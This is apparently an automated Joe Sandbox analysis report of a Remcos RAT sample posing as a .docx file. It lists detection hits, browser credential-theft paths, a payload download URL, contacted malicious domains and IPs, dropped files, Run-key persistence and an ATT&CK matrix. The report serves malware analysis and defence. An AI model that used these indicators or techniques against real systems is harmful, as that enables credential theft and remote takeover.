Source: #U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.docx.pif.exe, 00000000.00000003.1256656557.000000007EDC0000.00000004.00001000.00020000.00000000.sdmp, #U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.docx.pif.exe, 00000000.00000002.1390105592.000000007F280000.00000004.00001000.00020000.00000000.sdmp, #U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.docx.pif.exe, 00000000.00000003.1256443567.000000007EE90000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: TMBMSRV.exe
Source: #U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.docx.pif.exe, 00000000.00000003.1256656557.000000007EDC0000.00000004.00001000.00020000.00000000.sdmp, #U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.docx.pif.exe, 00000000.00000002.1390105592.000000007F280000.00000004.00001000.00020000.00000000.sdmp, #U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.docx.pif.exe, 00000000.00000003.1256443567.000000007EE90000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: Vsserv.exe
Source: #U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.docx.pif.exe, 00000000.00000003.1256656557.000000007EDC0000.00000004.00001000.00020000.00000000.sdmp, #U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.docx.pif.exe, 00000000.00000002.1390105592.000000007F280000.00000004.00001000.00020000.00000000.sdmp, #U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.docx.pif.exe, 00000000.00000003.1256443567.000000007EE90000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: avgupsvc.exe
Source: #U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.docx.pif.exe, 00000000.00000003.1256656557.000000007EDC0000.00000004.00001000.00020000.00000000.sdmp, #U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.docx.pif.exe, 00000000.00000002.1390105592.000000007F280000.00000004.00001000.00020000.00000000.sdmp, #U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.docx.pif.exe, 00000000.00000003.1256443567.000000007EE90000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: avgemc.exe
Source: #U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.docx.pif.exe, 00000000.00000003.1256656557.000000007EDC0000.00000004.00001000.00020000.00000000.sdmp, #U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.docx.pif.exe, 00000000.00000002.1390105592.000000007F280000.00000004.00001000.00020000.00000000.sdmp, #U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.docx.pif.exe, 00000000.00000003.1256443567.000000007EE90000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: MsMpEng.exe

Stealing of Sensitive Information

Yara detected Remcos RAT

Source: Yara match	File source: 31.2.colorcpl.exe.4580000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 31.2.colorcpl.exe.64218af.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 31.2.colorcpl.exe.64218af.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 31.2.colorcpl.exe.4580000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 31.2.colorcpl.exe.6420000.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 31.2.colorcpl.exe.6420000.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0000001F.00000002.3702973204.0000000004580000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001F.00000002.3694699773.000000000281F000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001F.00000002.3705302881.0000000006420000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: colorcpl.exe PID: 7688, type: MEMORYSTR
Source: Yara match	File source: C:\ProgramData\gaban\logs.dat, type: DROPPED

Contains functionality to steal Chrome passwords or cookies

Source: C:\Windows\SysWOW64\colorcpl.exe

Code function: \AppData\Local\Google\Chrome\User Data\Default\Login Data

31_2_0458BA12

Contains functionality to steal Firefox passwords or cookies

Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: \AppData\Roaming\Mozilla\Firefox\Profiles\		31_2_0458BB30
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: \key3.db		31_2_0458BB30

Remote Access Functionality

Detected Remcos RAT

Source: C:\Windows\SysWOW64\colorcpl.exe

Mutex created: \Sessions\1\BaseNamedObjects\Rmc-5MRRQ3

Yara detected Remcos RAT

Source: Yara match	File source: 31.2.colorcpl.exe.4580000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 31.2.colorcpl.exe.64218af.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 31.2.colorcpl.exe.64218af.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 31.2.colorcpl.exe.4580000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 31.2.colorcpl.exe.6420000.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 31.2.colorcpl.exe.6420000.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0000001F.00000002.3702973204.0000000004580000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001F.00000002.3694699773.000000000281F000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001F.00000002.3705302881.0000000006420000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: colorcpl.exe PID: 7688, type: MEMORYSTR
Source: Yara match	File source: C:\ProgramData\gaban\logs.dat, type: DROPPED

Source: C:\Windows\SysWOW64\colorcpl.exe

Code function: cmd.exe

31_2_0458569A

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	1 Scripting	1 Valid Accounts	1 Windows Management Instrumentation	1 Scripting	1 Abuse Elevation Control Mechanism	211 Disable or Modify Tools	1 OS Credential Dumping	2 System Time Discovery	Remote Services	11 Archive Collected Data	12 Ingress Tool Transfer	Exfiltration Over Other Network Medium	1 System Shutdown/Reboot
Credentials	Domains	Default Accounts	11 Native API	1 DLL Side-Loading	1 DLL Side-Loading	1 Deobfuscate/Decode Files or Information	111 Input Capture	1 Account Discovery	Remote Desktop Protocol	111 Input Capture	21 Encrypted Channel	Exfiltration Over Bluetooth	1 Defacement
Email Addresses	DNS Server	Domain Accounts	1 Shared Modules	1 Valid Accounts	1 Bypass User Account Control	1 Abuse Elevation Control Mechanism	2 Credentials In Files	1 System Service Discovery	SMB/Windows Admin Shares	3 Clipboard Data	1 Remote Access Software	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	2 Command and Scripting Interpreter	1 Windows Service	1 Valid Accounts	12 Obfuscated Files or Information	NTDS	1 System Network Connections Discovery	Distributed Component Object Model	Input Capture	2 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	2 Service Execution	1 Registry Run Keys / Startup Folder	11 Access Token Manipulation	2 Software Packing	LSA Secrets	4 File and Directory Discovery	SSH	Keylogging	113 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	1 Windows Service	1 Timestomp	Cached Domain Credentials	47 System Information Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	522 Process Injection	1 DLL Side-Loading	DCSync	361 Security Software Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	1 Registry Run Keys / Startup Folder	1 Bypass User Account Control	Proc Filesystem	141 Virtualization/Sandbox Evasion	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement
Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	431 Masquerading	/etc/passwd and /etc/shadow	3 Process Discovery	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement
IP Addresses	Compromise Infrastructure	Supply Chain Compromise	PowerShell	Cron	Cron	1 Valid Accounts	Network Sniffing	1 Application Window Discovery	Shared Webroot	Local Data Staging	File Transfer Protocols	Exfiltration Over Asymmetric Encrypted Non-C2 Protocol	External Defacement
Network Security Appliances	Domains	Compromise Software Dependencies and Development Tools	AppleScript	Launchd	Launchd	141 Virtualization/Sandbox Evasion	Input Capture	1 System Owner/User Discovery	Software Deployment Tools	Remote Data Staging	Mail Protocols	Exfiltration Over Unencrypted Non-C2 Protocol	Firmware Corruption
Gather Victim Org Information	DNS Server	Compromise Software Supply Chain	Windows Command Shell	Scheduled Task	Scheduled Task	11 Access Token Manipulation	Keylogging	Process Discovery	Taint Shared Content	Screen Capture	DNS	Exfiltration Over Physical Medium	Resource Hijacking
Determine Physical Locations	Virtual Private Server	Compromise Hardware Supply Chain	Unix Shell	Systemd Timers	Systemd Timers	522 Process Injection	GUI Input Capture	Permission Groups Discovery	Replication Through Removable Media	Email Collection	Proxy	Exfiltration over USB	Network Denial of Service

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
#U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.docx.pif.exe	45%	ReversingLabs	Win32.Trojan.Zusy
#U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.docx.pif.exe	50%	Virustotal		Browse
#U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.docx.pif.exe	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner	Label	Link
C:\Users\Public\Libraries\Pyemdbrd.PIF	100%	Joe Sandbox ML
C:\Users\Public\Libraries\Pyemdbrd.PIF	45%	ReversingLabs	Win32.Trojan.Zusy
C:\Users\Public\Libraries\Pyemdbrd.PIF	50%	Virustotal		Browse
C:\Users\Public\Libraries\drbdmeyP.pif	3%	ReversingLabs
C:\Users\Public\Libraries\drbdmeyP.pif	0%	Virustotal		Browse
C:\Users\Public\alpha.exe	0%	ReversingLabs
C:\Users\Public\alpha.exe	0%	Virustotal		Browse
C:\Users\Public\ger.exe	0%	ReversingLabs
C:\Users\Public\ger.exe	0%	Virustotal		Browse
C:\Users\Public\xkn.exe	0%	ReversingLabs
C:\Users\Public\xkn.exe	0%	Virustotal		Browse
C:\Windows \System32\per.exe	3%	ReversingLabs
C:\Windows \System32\per.exe	0%	Virustotal		Browse

Unpacked PE Files

⊘No Antivirus matches

Domains

Source	Detection	Scanner	Label	Link
wcmanagers.com	0%	Virustotal		Browse
198.187.3.20.in-addr.arpa	1%	Virustotal		Browse

URLs

Source	Detection	Scanner	Label	Link
http://geoplugin.net/json.gp	0%	URL Reputation	safe
https://sectigo.com/CPS0	0%	URL Reputation	safe
http://crl.sectigo.com/SectigoPublicCodeSigningRootR46.crl0	0%	URL Reputation	safe
http://ocsp.sectigo.com0	0%	URL Reputation	safe
http://geoplugin.net/json.gp/C	0%	URL Reputation	safe
https://aka.ms/pscore68	0%	URL Reputation	safe
http://crt.sectigo.com/SectigoPublicCodeSigningRootR46.p7c0#	0%	URL Reputation	safe
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	0%	URL Reputation	safe
https://wcmanagers.com:443/Er9/233_PyemdbrdppsWz	0%	Avira URL Cloud	safe
http://crl.sectigo.com/SectigoPublicCodeSigningCAEVR36.crl0	0%	Avira URL Cloud	safe
https://wcmanagers.com/	0%	Avira URL Cloud	safe
https://wcmanagers.com/Er9/233_Pyemdbrdpps03	0%	Avira URL Cloud	safe
http://crt.sectigo.com/SectigoPublicCodeSigningCAEVR36.crt0#	0%	Avira URL Cloud	safe
https://wcmanagers.com/Er9/233_Pyemdbrdpps	0%	Avira URL Cloud	safe
http://www.pmail.com	0%	Avira URL Cloud	safe
http://crl.sectigo.com/SectigoPublicCodeSigningCAEVR36.crl0	0%	Virustotal		Browse
http://ocsp.sectigo.com0C	0%	Avira URL Cloud	safe
https://login.windows.localP	0%	Avira URL Cloud	safe
http://crt.sectigo.com/SectigoPublicCodeSigningCAEVR36.crt0#	0%	Virustotal		Browse
https://wcmanagers.com/	0%	Virustotal		Browse
www.vipguyclassproject2024.space	100%	Avira URL Cloud	malware
http://www.pmail.com	0%	Virustotal		Browse

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
wcmanagers.com	108.170.55.202	true	true	0%, Virustotal, Browse	unknown
198.187.3.20.in-addr.arpa	unknown	unknown	true	1%, Virustotal, Browse	unknown
www.vipguyclassproject2024.space	unknown	unknown	true		unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
https://wcmanagers.com/Er9/233_Pyemdbrdpps	true	Avira URL Cloud: safe	unknown
www.vipguyclassproject2024.space	true	Avira URL Cloud: malware	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://crl.sectigo.com/SectigoPublicCodeSigningCAEVR36.crl0	#U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.docx.pif.exe, 00000000.00000003.1256656557.000000007EDC0000.00000004.00001000.00020000.00000000.sdmp, #U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.docx.pif.exe, 00000000.00000002.1390105592.000000007F280000.00000004.00001000.00020000.00000000.sdmp, #U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.docx.pif.exe, 00000000.00000003.1256443567.000000007EE90000.00000004.00001000.00020000.00000000.sdmp	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://geoplugin.net/json.gp	colorcpl.exe	false	URL Reputation: safe	unknown
https://wcmanagers.com/	#U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.docx.pif.exe, 00000000.00000002.1333260150.0000000000870000.00000004.00000020.00020000.00000000.sdmp	true	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://wcmanagers.com:443/Er9/233_PyemdbrdppsWz	#U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.docx.pif.exe, 00000000.00000002.1333260150.000000000087A000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://sectigo.com/CPS0	#U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.docx.pif.exe, 00000000.00000003.1256656557.000000007EDC0000.00000004.00001000.00020000.00000000.sdmp, #U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.docx.pif.exe, 00000000.00000002.1390105592.000000007F280000.00000004.00001000.00020000.00000000.sdmp, #U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.docx.pif.exe, 00000000.00000003.1256443567.000000007EE90000.00000004.00001000.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://crl.sectigo.com/SectigoPublicCodeSigningRootR46.crl0	#U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.docx.pif.exe, 00000000.00000003.1256656557.000000007EDC0000.00000004.00001000.00020000.00000000.sdmp, #U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.docx.pif.exe, 00000000.00000002.1390105592.000000007F280000.00000004.00001000.00020000.00000000.sdmp, #U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.docx.pif.exe, 00000000.00000003.1256443567.000000007EE90000.00000004.00001000.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://ocsp.sectigo.com0	#U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.docx.pif.exe, 00000000.00000003.1256656557.000000007EDC0000.00000004.00001000.00020000.00000000.sdmp, #U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.docx.pif.exe, 00000000.00000002.1390105592.000000007F280000.00000004.00001000.00020000.00000000.sdmp, #U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.docx.pif.exe, 00000000.00000003.1256443567.000000007EE90000.00000004.00001000.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://geoplugin.net/json.gp/C	colorcpl.exe, 0000001F.00000002.3702973204.0000000004580000.00000040.00001000.00020000.00000000.sdmp, colorcpl.exe, 0000001F.00000002.3705302881.0000000006420000.00000040.00000400.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://wcmanagers.com/Er9/233_Pyemdbrdpps03	#U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.docx.pif.exe, 00000000.00000002.1333260150.00000000007FE000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://crt.sectigo.com/SectigoPublicCodeSigningCAEVR36.crt0#	#U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.docx.pif.exe, 00000000.00000003.1256656557.000000007EDC0000.00000004.00001000.00020000.00000000.sdmp, #U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.docx.pif.exe, 00000000.00000002.1390105592.000000007F280000.00000004.00001000.00020000.00000000.sdmp, #U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.docx.pif.exe, 00000000.00000003.1256443567.000000007EE90000.00000004.00001000.00020000.00000000.sdmp	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://aka.ms/pscore68	xkn.exe, 00000016.00000002.1319214441.000001EC81CA1000.00000004.00000800.00020000.00000000.sdmp, xkn.exe, 00000016.00000002.1319214441.000001EC81C63000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://crt.sectigo.com/SectigoPublicCodeSigningRootR46.p7c0#	#U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.docx.pif.exe, 00000000.00000003.1256656557.000000007EDC0000.00000004.00001000.00020000.00000000.sdmp, #U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.docx.pif.exe, 00000000.00000002.1390105592.000000007F280000.00000004.00001000.00020000.00000000.sdmp, #U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.docx.pif.exe, 00000000.00000003.1256443567.000000007EE90000.00000004.00001000.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	xkn.exe, 00000016.00000002.1319214441.000001EC81C41000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.pmail.com	#U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.docx.pif.exe, #U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.docx.pif.exe, 00000000.00000002.1359129963.0000000026652000.00000004.00001000.00020000.00000000.sdmp, #U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.docx.pif.exe, 00000000.00000002.1392779821.000000007FC80000.00000004.00001000.00020000.00000000.sdmp, #U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.docx.pif.exe, 00000000.00000002.1359129963.00000000265F6000.00000004.00001000.00020000.00000000.sdmp, #U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.docx.pif.exe, 00000000.00000002.1362819613.0000000027650000.00000004.00000020.00020000.00000000.sdmp, #U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.docx.pif.exe, 00000000.00000002.1338265139.0000000002980000.00000040.00001000.00020000.00000000.sdmp, #U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.docx.pif.exe, 00000000.00000002.1335815868.0000000002326000.00000004.00001000.00020000.00000000.sdmp, #U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.docx.pif.exe, 00000000.00000002.1362819613.00000000276AC000.00000004.00000020.00020000.00000000.sdmp, drbdmeyP.pif, drbdmeyP.pif, 00000003.00000001.1257794553.000000000043B000.00000040.00000001.00020000.00000000.sdmp, drbdmeyP.pif, 00000003.00000002.1420295868.0000000000400000.00000040.00000400.00020000.00000000.sdmp, drbdmeyP.pif, 00000003.00000001.1257794553.0000000000418000.00000040.00000001.00020000.00000000.sdmp, drbdmeyP.pif, 00000003.00000000.1257373309.0000000000416000.00000002.00000001.01000000.00000005.sdmp, drbdmeyP.pif.0.dr	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://ocsp.sectigo.com0C	#U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.docx.pif.exe, 00000000.00000003.1256656557.000000007EDC0000.00000004.00001000.00020000.00000000.sdmp, #U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.docx.pif.exe, 00000000.00000002.1390105592.000000007F280000.00000004.00001000.00020000.00000000.sdmp, #U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.docx.pif.exe, 00000000.00000003.1256443567.000000007EE90000.00000004.00001000.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://login.windows.localP	SystemSettingsAdminFlows.exe, 00000028.00000002.3692868865.000002F388E38000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
108.170.55.202	wcmanagers.com	United States		20454	SSASN2US	true

General Information

Joe Sandbox version:	40.0.0 Tourmaline
Analysis ID:	1466663
Start date and time:	2024-07-03 08:55:56 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 11m 57s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	42
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	1
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	#U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.docx.pif.exe renamed because original name is a hash value
Original Sample Name:	-202471.docx.pif.exe
Detection:	MAL
Classification:	mal100.rans.troj.spyw.expl.evad.winEXE@53/21@51/1
EGA Information:	Successful, ratio: 90%
HCA Information:	Successful, ratio: 100% Number of executed functions: 101 Number of non-executed functions: 180
Cookbook Comments:	Found application associated with file extension: .exe Override analysis time to 240000 for current running targets taking high CPU consumption

Warnings

Behavior information exceeds normal sizes, reducing to normal. Report will have missing behavior information.
Exclude process from analysis (whitelisted): SystemSettings.exe, dllhost.exe, audiodg.exe, consent.exe, RuntimeBroker.exe, ShellExperienceHost.exe, SIHClient.exe, SgrmBroker.exe, MoUsoCoreWorker.exe, svchost.exe
Excluded domains from analysis (whitelisted): fs.microsoft.com, slscr.update.microsoft.com, ctldl.windowsupdate.com, time.windows.com, cxcs.microsoft.net, fe3cr.delivery.mp.microsoft.com
Execution Graph export aborted for target xkn.exe, PID 4340 because it is empty
Not all processes where analyzed, report is missing behavior information
Report creation exceeded maximum time and may have missing disassembly code information.
Report size exceeded maximum capacity and may have missing behavior information.
Report size exceeded maximum capacity and may have missing disassembly code.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryAttributesFile calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Report size getting too big, too many NtReadVirtualMemory calls found.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Simulations

Behavior and APIs

Time	Type	Description
02:56:49	API Interceptor	1x Sleep call for process: #U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.docx.pif.exe modified
04:49:56	API Interceptor	3007371x Sleep call for process: colorcpl.exe modified
08:57:00	Autostart	Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run Pyemdbrd C:\Users\Public\Pyemdbrd.url
08:57:09	Autostart	Run: HKCU64\Software\Microsoft\Windows\CurrentVersion\Run Pyemdbrd C:\Users\Public\Pyemdbrd.url

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
108.170.55.202	Your file name without extension goes here.exe	Get hash	malicious	AgentTesla	Browse
	R9eF05c3nd.exe	Get hash	malicious	AgentTesla	Browse
	rQUOTATION.exe	Get hash	malicious	AgentTesla	Browse
	ORDEN DEL PROYECTO.exe	Get hash	malicious	AgentTesla	Browse
	J728NYumpJ.exe	Get hash	malicious	AgentTesla	Browse
	rInquiry.exe	Get hash	malicious	AgentTesla, Discord Token Stealer	Browse
	NEW QUOTATION FOR ORDER.exe	Get hash	malicious	AgentTesla	Browse
	Confirmaci#U00f3n de cotizaci#U00f3n.exe	Get hash	malicious	AgentTesla	Browse
	Soluciones de energia Nanovec.exe	Get hash	malicious	AgentTesla	Browse
	SS Bottmac Engineers Pvt. Ltd.pdf.exe	Get hash	malicious	AgentTesla	Browse

Domains

⊘No context

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
SSASN2US	rQuotation.exe	Get hash	malicious	AgentTesla	Browse	108.170.55.203
	http://beonlineboo.com	Get hash	malicious	Unknown	Browse	209.188.14.135
	Quotation.exe	Get hash	malicious	AgentTesla	Browse	108.170.55.203
	Your file name without extension goes here.exe	Get hash	malicious	AgentTesla	Browse	108.170.55.202
	ORDER060424.exe	Get hash	malicious	AgentTesla	Browse	184.95.55.27
	R9eF05c3nd.exe	Get hash	malicious	AgentTesla	Browse	108.170.55.202
	y8116vE0F0.exe	Get hash	malicious	AgentTesla	Browse	108.170.55.203
	INQUIRY.exe	Get hash	malicious	AgentTesla	Browse	108.170.55.203
	PURCHASE ORDER No. 4500148605.exe	Get hash	malicious	AgentTesla	Browse	108.170.55.203
	Your file name without extension goes here.exe	Get hash	malicious	AgentTesla	Browse	108.170.55.203

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
a0e9f5d64349fb13191bc781f81f42e1	pago pendientes.xls	Get hash	malicious	Unknown	Browse	108.170.55.202
	fechas de pago.xls	Get hash	malicious	Unknown	Browse	108.170.55.202
	457525.xls	Get hash	malicious	Unknown	Browse	108.170.55.202
	0cjB1Kh8zU.msi	Get hash	malicious	Unknown	Browse	108.170.55.202
	SecuriteInfo.com.Win32.Evo-gen.21718.4342.exe	Get hash	malicious	BlackMoon	Browse	108.170.55.202
	SecuriteInfo.com.Win32.Evo-gen.21718.4342.exe	Get hash	malicious	BlackMoon	Browse	108.170.55.202
	1.scr	Get hash	malicious	Unknown	Browse	108.170.55.202
	1.scr	Get hash	malicious	Unknown	Browse	108.170.55.202
	SecuriteInfo.com.Win32.BootkitX-gen.5272.14841.exe	Get hash	malicious	LummaC	Browse	108.170.55.202
	Informational-severity alert_ Creation of forwarding_redirect rule Case ID_FqJxoz8.eml	Get hash	malicious	Unknown	Browse	108.170.55.202

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
C:\Users\Public\alpha.exe	710_SO_TO_CHITTAGONG1_CFS-SOE777_PKCGP2410001-AMD-8248-HBL_DRAFT.scr.exe	Get hash	malicious	DBatLoader, Remcos	Browse
	PO-MISA-32493.cmd	Get hash	malicious	Remcos, DBatLoader	Browse
	New PO -39850-1064 -2084-GEN101 -Order,xls.exe	Get hash	malicious	AgentTesla, DBatLoader, PureLog Stealer	Browse
	PURCHASE_ORDER.CMD	Get hash	malicious	DBatLoader, Remcos	Browse
	ProofOfPayment.CMD	Get hash	malicious	DBatLoader, Neshta, Remcos	Browse
	Rylorhzz.PIF.exe	Get hash	malicious	DBatLoader, FormBook	Browse
	PO# 2011-0227160-0365-06-24,xls.exe	Get hash	malicious	AgentTesla, DBatLoader, PureLog Stealer	Browse
	ProofOfPayment.CMD	Get hash	malicious	DBatLoader, Neshta, Remcos	Browse
	proof.cmd	Get hash	malicious	DBatLoader, Remcos	Browse
	SWIFT_COPY20240604.cmd	Get hash	malicious	DBatLoader	Browse
C:\Users\Public\Libraries\drbdmeyP.pif	710_SO_TO_CHITTAGONG1_CFS-SOE777_PKCGP2410001-AMD-8248-HBL_DRAFT.scr.exe	Get hash	malicious	DBatLoader, Remcos	Browse
	PO-MISA-32493.cmd	Get hash	malicious	Remcos, DBatLoader	Browse
	New PO -39850-1064 -2084-GEN101 -Order,xls.exe	Get hash	malicious	AgentTesla, DBatLoader, PureLog Stealer	Browse
	PURCHASE_ORDER.CMD	Get hash	malicious	DBatLoader, Remcos	Browse
	ProofOfPayment.CMD	Get hash	malicious	DBatLoader, Neshta, Remcos	Browse
	Rylorhzz.PIF.exe	Get hash	malicious	DBatLoader, FormBook	Browse
	PO# 2011-0227160-0365-06-24,xls.exe	Get hash	malicious	AgentTesla, DBatLoader, PureLog Stealer	Browse
	ProofOfPayment.CMD	Get hash	malicious	DBatLoader, Neshta, Remcos	Browse
	proof.cmd	Get hash	malicious	DBatLoader, Remcos	Browse
	rINV200495000-PAYORDER0940584.cmd	Get hash	malicious	AgentTesla, DBatLoader, PureLog Stealer	Browse

Created / dropped Files

C:\ProgramData\gaban\logs.dat

Download File

Process:	C:\Windows\SysWOW64\colorcpl.exe
File Type:	data
Category:	dropped
Size (bytes):	428
Entropy (8bit):	3.3208926935002046
Encrypted:	false
SSDEEP:	6:6lVMol3l55YcIeeDAlIfE/OS/1fmPm1gWAGfE/OSFWAZi8WAv:6lVL3DecB/OSVmlWa/OSFWr8W+
MD5:	AE19BACC9221372C637448D591CAFB06
SHA1:	81B882ECEBD44624C34A02361EE2BC008EEC4A28
SHA-256:	649BD2D85E96CA21A0ABFB35145DA75915DC0A3E43FA9C4DEB775B1BBA5F30B2
